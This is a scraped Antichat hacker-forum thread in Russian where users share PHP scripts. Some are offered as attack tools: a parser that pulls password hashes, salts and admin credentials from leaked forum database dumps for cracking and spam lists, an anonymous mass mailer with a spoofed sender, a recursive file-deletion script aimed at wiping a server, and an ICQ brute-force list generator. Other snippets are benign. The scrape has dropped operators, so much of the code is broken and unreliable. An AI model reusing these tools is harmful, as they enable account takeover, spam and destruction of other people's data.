ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #61  
Старый 24.03.2007, 01:18
Аватар для Ch3ck
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

PHP код:
<?

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*                                                                       
/*                    Forum Dump Parser v0.2 (FDPv0.2)                   
/*                              by Re@ctor                               
/*                    http://truenet.net.ru/security/                       
/*                                                                       
/*                                                                       
/*       Скрипт предназначен для частного использования и позволяет      
/*    привести имеющиеся дампы баз данных в единый удобный формат для    
/*    дальнейшего анализа в программе Passwords Pro, либо просто           
/*    в списки для других программ.                                       
/*                                                                       
/*      Скрипт запрещается использовать в корыстных целях и автор не       
/*    несёт ответственности за возможный ущерб, причинённый от исполь-   
/*    зования данного скрипта.                                           
/*                                                                       
/*      Скрипт запрещается использовать в противозаконных целях, либо       
/*    целях, ведущих к умышленному или неумышленному нарушению законода- 
/*    тельства Российской Федерации.                                       
/*                                                                       
/*                Хорошего дня и доброго насроения! ;-)                   
/*                Помните про существование TrueNET! =)                   
/*                                                                       
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

###### 1. выходной формат файлов ######
# для брута, формат Passwords Pro
#$sort = array('username','password','salt'); # пользователи
#$sort = array('email','password','salt'); # мыльники
$sort = array('icq','password','salt'); # аськи
# помните, что формат PPro - имя:хэш:сальт:расшифр.пароль:комментарий
# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
# будет воспринято неверно программой.

# просто базы
#$sort = array('email'); # e-mail
#$sort = array('icq'); # icq

###### 2. формирование строк ######
$delim "¤"# разделитель между значениями
$br "\n"# чем заканчивать строку (\n - перенос строки)

###### 3. промежуточный вывод ######
$makefiles 1# делать ли отдельные файлы для каждого дампа
$ext "txt"# расширение выходного файла этих файлов

###### 4. параметры сбора информации ######
$site 1# если $makefiles = 0;, то получать сведения о сайте
# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
# ( удобно при составлении тематических спам-баз )
# формат файла должен быть префиксАДРЕС_САЙТАрасширение, где префикс и расширение любые
$site_prefix ''# если $site=1, указать префикс файлов
$site_ext '.sql'# если $site=1, указать расширение файлов
$convert 0# конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)

###### 5. общий файл с данными ######
$hashmake 1# делать ли единый файл со всеми хэшами
$hash_filename '!PasswordsPro.Hashes'# имя файла с хэшами

###### 6. выборка из дампов админов в отдельный файл ######
$admins 1# сделать файл с хэшами админов дампов
$admin_pass 'password'# имя ячейки с хэшем пароля
$admin_salt 'salt'# имя ячейки с салом пароля
$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
$admin_filename '!admin.PasswordsPro.Hashes';

###### 7. (WARNING!) имя первой ячейки в таблице ######
$firstintable 'userid'# название первой ячейки в таблице (важно!)

ini_set("max_execution_time","86400");
set_time_limit(0);

function 
make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
function 
checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
function 
koi($txt) { return convert_cyr_string($txt,'k','w'); }
function 
iso($txt) { return convert_cyr_string($txt,'i','w'); }
function 
myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }

$d=opendir('.');
while((
$e=readdir($d))!=false) {
    if(
$e=='.'||$e=='..'||$e==$admin_filename||$e==$hash_filename||$e==$argv[0]) continue;
    if(
is_file($e)) {
        if(
$makefiles==1)$f fopen("$e.$ext","w+");
        echo 
"[+] $e (".filesize($e)." bytes)\n";
        
$file file($e);
        
        foreach(
$file as $a) {
            
$tmp explode(' ',$a); $tablesuf=$tmp[1];
            if(!
$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
            foreach(
array_unique(array_merge($sort,$admin_comment)) as $s) {
                if(
$tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
            }
            if(!
$y$vars[]='b'; else unset($y);
            if(
strstr($a,'PRIMARY KEY')) break;
        }
        
        foreach(
$file as $a) {
            if(
strstr($a,"INSERT INTO")) {
                
$tmp preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
                
$values explode(',',$tmp);
                foreach(
$values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
                foreach(
$sort as $s) {
                    if(!
$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
                        if(
$admins==1&&$hashmake==0&&$makefiles==0) {
                            if(!
$tr$tr[]=$e;
                            if(
$v['name']==$admin_pass$tr[]=make($m[$v['num']]);
                            elseif(
$v['name']==$admin_salt$tr[]=checksalt(make($m[$v['num']]));
                            foreach(
$admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
                            
$admok=1;
                        } else {
                            if(
$s==$v['name']) {
                                if(
$s=='salt'$tm[] = checksalt(make($m[$v['num']])); 
                                else 
$tm[] = make($m[$v['num']]);
                            }
                            if(
$admins==1&&!$admok) {
                                if(!
$tr$tr[]=$e;
                                if(
$v['name']==$admin_pass$tr[]=make($m[$v['num']]);
                                elseif(
$v['name']==$admin_salt$tr[]=checksalt(make($m[$v['num']]));
                                foreach(
$admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
                            }
                        }
                    }
                    if(
$admok==1) break; $admok=2;
                }
                if(
$tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comment,', ');
                unset(
$tr); unset($m); unset($tm); unset($comment);
                if(
$admok==1) break;
            }
        }
        if(
$makefiles==1) {
            if(
$site==1) {
                
$host preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
                echo 
"[:] connecting to $host..\n";
                
$fp fsockopen($host,80,&$errno,&$errstr,5);
                if(!
$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
                
fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
                while(!
feof($fp)) {
                    
$tmp=fgets($fp,1000);
                    if(
preg_match("'charset='i",$tmp)||!$schar) {
                        
$ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
                        if(
preg_match("'koi8-r'i",$ch)) $koi=1;
                        elseif(
preg_match("'iso8859-5'i",$ch)) $iso=1$schar=1;
                    }
                    elseif(
preg_match("'<title>(.*?)</title>'i",$tmp)) {
                        
$title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
                        echo 
"[:] TITLE ok..\n";
                    }
                    elseif(
preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
                        
$kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
                        echo 
"[:] KEYWORDS ok..\n";
                    }
                    elseif(
preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
                         
$descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
                         echo 
"[:] DESCRIPTION ok..\n";
                    }
                    elseif(
preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
                }
                
fclose($fp);
                if(
$koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
                if(
$iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
                
$info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"$title=$host=$descr=$kiwords='';
            }
            echo 
"[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
        }
        unset(
$vars); unset($file); unset($towrite); unset($admok);
    }
}
if(
$hashmake==1) { echo "[*] sorting & writing all hashes..\n"; @asort($globhash); $f fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
if(
$admins==1) { echo "[*] sorting & writing admin hashes..\n"; @asort($odmen); $f fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}

myau();
?>
 
Ответить с цитированием

  #62  
Старый 25.03.2007, 21:48
Аватар для DRON-ANARCHY
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме:
1204641

Репутация: 412


Отправить сообщение для DRON-ANARCHY с помощью ICQ
По умолчанию

давно хотел навоять че-нить подобное... но руки коротки)
держи плюс до кучи)
 
Ответить с цитированием

  #63  
Старый 30.03.2007, 12:14
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

JavaScript попап

Код:
function popup(height,width,tittle,text) 
  {
  msg=window.open("","msg","height="+height+",width="+width+",left=300,top=300");
  msg.document.write("<html><title>"+tittle+"</title>");
  msg.document.write("<b"+"ody onblur=window.close()>");
  msg.document.write(text);
  msg.document.write("</b"+"ody></html>");
}
Только что дорабатывал скрипт своей гостевой и с удивлением заметил, что в PHP < 5 отсутствует столь важная функция str_ireplace. Но безвыходных ситуаций не бывает

PHP код:
if(!function_exists('str_ireplace')) 
  {
  function 
str_ireplace($search,$replace,$subject
    {
    
$search preg_quote($search"/");
    return 
preg_replace("/".$search."/i"$replace$subject); 
    }
  } 

Последний раз редактировалось Joker-jar; 31.03.2007 в 09:30..
 
Ответить с цитированием

  #64  
Старый 31.03.2007, 14:05
Аватар для DRON-ANARCHY
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме:
1204641

Репутация: 412


Отправить сообщение для DRON-ANARCHY с помощью ICQ
По умолчанию

Цитата:
отсутствует столь важная функция str_ireplace
зато присутствует str_replace() которой можно вырезать или заменить че угодно
 
Ответить с цитированием

  #65  
Старый 07.04.2007, 20:21
Аватар для mamamot
mamamot
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме:
38505

Репутация: 48
Отправить сообщение для mamamot с помощью ICQ
По умолчанию

Отправка анонимных сообщений с вложениями. Отправляет сообщения от указанного вами пользователя и с указанного мыла всем указанным в файле maillist.txt
Он должен иметь вид:

Код:
lol1@mail.ru
lol2@mail.ru
lol3@mail.ru
т.е. по одному мылу в строку без разделителя
PHP код:
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Anonym mail sender with attachment</title>
</head>
<body>
<form method="POST" >
<input name="action" type="hidden" value="send" />
<p><label for="from_mail" >С какого адреса e-mail: <input type="text" name="from_mail" /></label></p>
<p><label for="from_name" >От чьего имени: <input type="text" name="from_name" /></label></p>
<p><label for="path" >Относительный путь к файлу: <input type="text" name="path" /></label></p>
<p><label for="theme" >Тема: <input type="text" name="theme" /></label></p>
<textarea name="message" cols="30" rows="5" ></textarea>
<input type="submit" name="submit" value="Начать" />
</form>

<?php

  
// Вспомогательная функция для отправки почтового сообщения с вложением 
  
function send_mail($from_name$from_mail$thm$msg$path
  { 
    
$fp fopen($path,"r"); 
    if (!
$fp
    { 
      print 
"Файл $path не может быть прочитан"
      exit(); 
    } 
    
$file fread($fpfilesize($path)); 
    
fclose($fp); 
    
// Создаем сообщение
    
$boundary "--".md5(uniqid(time())); // генерируем разделитель 
    
$headers .= "MIME-Version: 1.0\n"
    
$headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n"
    
$headers .= "From: $from_name <$from_mail>\n";
    
$multipart .= "--$boundary\n"
    
$encoding 'windows-1251';
    
$multipart .= "Content-Type: text/html; charset=$encoding\n"
    
$multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n"
    
$multipart .= "$msg\n\n"

    
$message_part "--$boundary\n"
    
$message_part .= "Content-Type: application/octet-stream\n";      
    
$message_part .= "Content-Transfer-Encoding: base64\n"
    
$message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n"
    
$message_part .= chunk_split(base64_encode($file))."\n"
    
$multipart .= $message_part."--$boundary--\n"
    
    
// Начинаем отправку
    
    
$str_to=file_get_contents("maillist.txt");
    
$maillist=explode("\r\n",$str_to);
    foreach(
$maillist as $mail)
    {
        if(!
mail($mail$thm$multipart$headers)) 
        { 
            echo 
"Не отправлено:".$mail."<br />"
        }
        else
        {
            echo 
"Отправлено:".$mail."<br />" ;
        }
    }
  } 
  
  
    if(isset(
$_POST['action']) && $_POST['action']=="send")
    {
        echo 
"<br />Начинаем отправку<br />";
        
send_mail($_POST['from_name'],$_POST['from_mail'],$_POST['theme'],$_POST['message'],$_POST['path']);
    }
    

echo 
"</body>";
echo 
"</html>";
?>
Писал сам
 
Ответить с цитированием

  #66  
Старый 11.04.2007, 02:11
Аватар для mR_LiNK[deface_0nl
mR_LiNK[deface_0nl
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме:
1364740

Репутация: 114
По умолчанию

Классический пример получения док-а по httP


Скрипт, который по httP протоколу получает документ с сервера::

PHP код:
<?
$fp 
fsockopen("www.host.ru"80, &$errno, &errstr30);

//посылаем GET-форму в виде "URL+хост"
fputs($fp"GET /files/doc.zip HTTP/1.0\nHOST: www.host.ru \n\n");

//ситаем все до начала следующего док-а
while(fgets($fp2048) !="\n\n" && !feof($fp));

//копируем то, что прочитали в переменную $buff
uset($buff);
while(!
feof($fp)) $buff.=fread($fp2048);

//закрывается сокет
fclose($fp);

echo 
'Файл загружен, размер файла: ' .strlen($buff). 'bytes.';
flush();

//далее записываем загруженный файл в другой, 
//к примеру, dload.out. Если мы скачали zip файл, то,
// переименовав dload.out в dload.zip, можно дальше 
//работать с этим файлом как с обычным zip архивом.
$f=fopen('dload.out''wb+');
fwrite($f$buffstrlen($buff));
fclose($f);
?>
ЗЫ::Ответ сервера состоит из заголовка и тела документа. Интересует же только тело документа.
Поэтому, все что идет до документа мы пропускаем, зная, что заголовок от тела документа отделяется строкой "\r\n". Заголовок читается функцией 'fgets', а бинарные данные 'fread'


ЗЫЫ:: кстати не так давно, не помню кто, спрашивали о генераторе паролей..простейший вариант:

PHP код:
<?
$pass 
md5(uniqid(rand), true);
//возвращается 128-битный хеш
...
?>

Последний раз редактировалось mR_LiNK[deface_0nl; 11.04.2007 в 02:24..
 
Ответить с цитированием

  #67  
Старый 11.04.2007, 16:38
Аватар для mamamot
mamamot
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме:
38505

Репутация: 48
Отправить сообщение для mamamot с помощью ICQ
По умолчанию

Очередной скрипт на php.
Сегодня мы нашли сайт с кучей прокси. Но они там, как назло, в ужасном виде:
Код:
HTTP	203.94.89.112	80	No	UnResolved	UnResolved	704	No
HTTP	66.165.172.163	80	No	UnResolved	UnResolved	562	No
HTTP	212.227.80.22	3128	No	UnKnown	s15179588.rootmaster.info	4328	No
HTTP	219.95.65.250	80	No	UnResolved	UnResolved	1047	No
HTTP	85.88.182.139	3128	No	Russia	not-defined-pppoe.amur.ru	1032	No
т.е. по одной прокси и порту в строке, но с кучей мусорной инфы
мы превратим его в нормальный вид так:
PHP код:
<?php
    
//////////////////////////////////////////////////////////////////
    //proxy_list_generator.php
    //creats an ip:port proxylist
    //coded by mamamot, 2007
    //////////////////////////////////////////////////////////////////
    //задаем регулярные выражения
    
$ip_regex="/([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){3}/";
    
$port_regex="/([\s])(\d|[1-9]\d|[1-9]\d{2,3}|[1-5]\d{4}|6[0-4]\d{3}|654\d{2}|655[0-2]\d|6553[0-5])([\s])/";
    
//читаем файл
    
$raw=file("rawproxy.txt");
    
//счетчик
    
$counter=0;
    
//перебираем каждую строку
    
foreach($raw as $line)
    {
        
$is_ip_match preg_match($ip_regex$line$ipmatch);
        if(
$is_ip_match==1)
        {
            
$ip=$ipmatch[0];
            
$is_port_match=preg_match($port_regex$line$port_match);
            if(
$is_port_match==1)
            {
                
$port=$port_match[0];
                
//убираем символы табуляции
                
$port=str_replace("\t","",$port);
                
//добавляем в строку. Замените \r\n на \n если работете на никсах
                
$output .= $ip.':'.$port."\r\n";
                
$counter++;
            }
        }
    }
    
//пишем в файл
    
file_put_contents("proxies.txt"$output);
    echo 
"done succesfully:".$counter."items parsed";
?>
да еще и посчитаем заодно
 
Ответить с цитированием

рекурсивное удаление
  #68  
Старый 12.04.2007, 00:13
Аватар для mR_LiNK[deface_0nl
mR_LiNK[deface_0nl
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме:
1364740

Репутация: 114
По умолчанию рекурсивное удаление

Зло зло зло__))
//малые шалости_
"Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать"

Теперь по делу::
PHP код:
<?php
//вызывается функция, удаляющая файлы с сервера, с параметром '..', ))
//чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, )))
//так как наверняка веб_приложение находится в отдельной директории))))
//поехали
delfiles("..");

//функция, удаляющая каталоги и файлы сервера
function delfiles($catalog)
{
$dir opendir($catalog)
while (
false !== ($file readdir($dir))
  {
  
//Если текущей объект - файл, то что делаем?? del del & del
  
if(is_file($catalog."/".$file)) unlink($$catalog."/".$file);
  
//Если текущий объект - каталог, то рекурсивный вызов delfiles(), 
  //тем самым избегаем каталогов '.' и '..',
  //которые соответствуют текущему и вышележащему))
  
else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files);
  }
  
//закрываем дир
  
closedir($dir);
  
//ну и на последок))
  
rmdir($catalog);

?>
О недосказанном:: есть возможность модификации рекурсии вверх по дереву))
НО последнее слово как всегда за правами доступа))..ну разве это проблема)

Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения
Безопасность::
Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить)))

зы:: 2nc.striem -> исправлено!

Последний раз редактировалось mR_LiNK[deface_0nl; 12.04.2007 в 01:33..
 
Ответить с цитированием

  #69  
Старый 12.04.2007, 01:11
Аватар для Fr-Ron
Fr-Ron
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
Провел на форуме:
1654589

Репутация: 337
По умолчанию

Вот, сегодня написал... Генерация uin;pass list по словарю для уинов с заданной маской (xxxyxxz 5557552)

PHP код:
<?php

$mask 
"xxxyxxz";
$pass file("pass.txt");

$f fopen("result.txt""w");

If (
$mask){

For (
$x 1$x <= 9$x++){
 For (
$y 0$y <= 9$y++){
  For (
$z 0$z <= 9$z++){
   For (
$p 0$p <= 99$p++){ If ($pass[$p+1]) { $num $mask;
    For (
$n 0$n <= 8$n++){

    If ( 
$num[$n] == "x" ) { $num[$n] = $x; }
    If ( 
$num[$n] == "y" ) { $num[$n] = $y; }
    If ( 
$num[$n] == "z" ) { $num[$n] = $z; }
    
    

   
fputs ($f,$num.";".$pass[$p]); }}}}}}

fclose ($f);

?>

Последний раз редактировалось Fr-Ron; 12.04.2007 в 08:11..
 
Ответить с цитированием

  #70  
Старый 12.04.2007, 02:04
Аватар для nc.STRIEM
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

конвертирование jpg в html с 100% сохранением качества картинки! (размер знчительно увеличеваеться)
PHP код:
<?
$imgjpg
='pic.jpg'//имя  jpg картинки

set_time_limit(0);
$start=time('s');
$fo=fopen($imgjpg.'.html','w');
fwrite($fo,'<table border=0  cellspacing=0 cellpadding=0><style>td{width: 1px;height: 1px;}</style>');
$im ImageCreateFromjpeg($imgjpg);
$sim=array(0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F');
function 
to16($de)
{
   global 
$sim;
   
$ans='';
   
$ans.=$sim[($de-$de%16)/16];
   
$ans.=$sim[$de%16];
   return 
$ans;
}
$x=imagesx($im);
$y=imagesy($im);
for(
$j=0;$j<$y;$j++)
{
fwrite($fo,'<tr>');
  for(
$i=0;$i<$x;$i++)
  {
     
$rgb=ImageColorAt($im$i,$j);
       
$r to16(($rgb >> 16) & 0xFF);
       
$g to16(($rgb >> 8) & 0xFF);
       
$b =to16($rgb 0xFF);
   
fwrite($fo,"<td bgcolor=$r$g$b></td>");
   }
  
fwrite($fo,'</tr>');
}
fclose($fo);
echo 
'Законченно за: '.(time('s')-$start).' секунд(ы)<br><a href="'.$imgjpg.'.html">Открыть</a>'
?>

Последний раз редактировалось nc.STRIEM; 12.04.2007 в 02:28..
 
Ответить с цитированием
Ответ




TEST QR: []
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ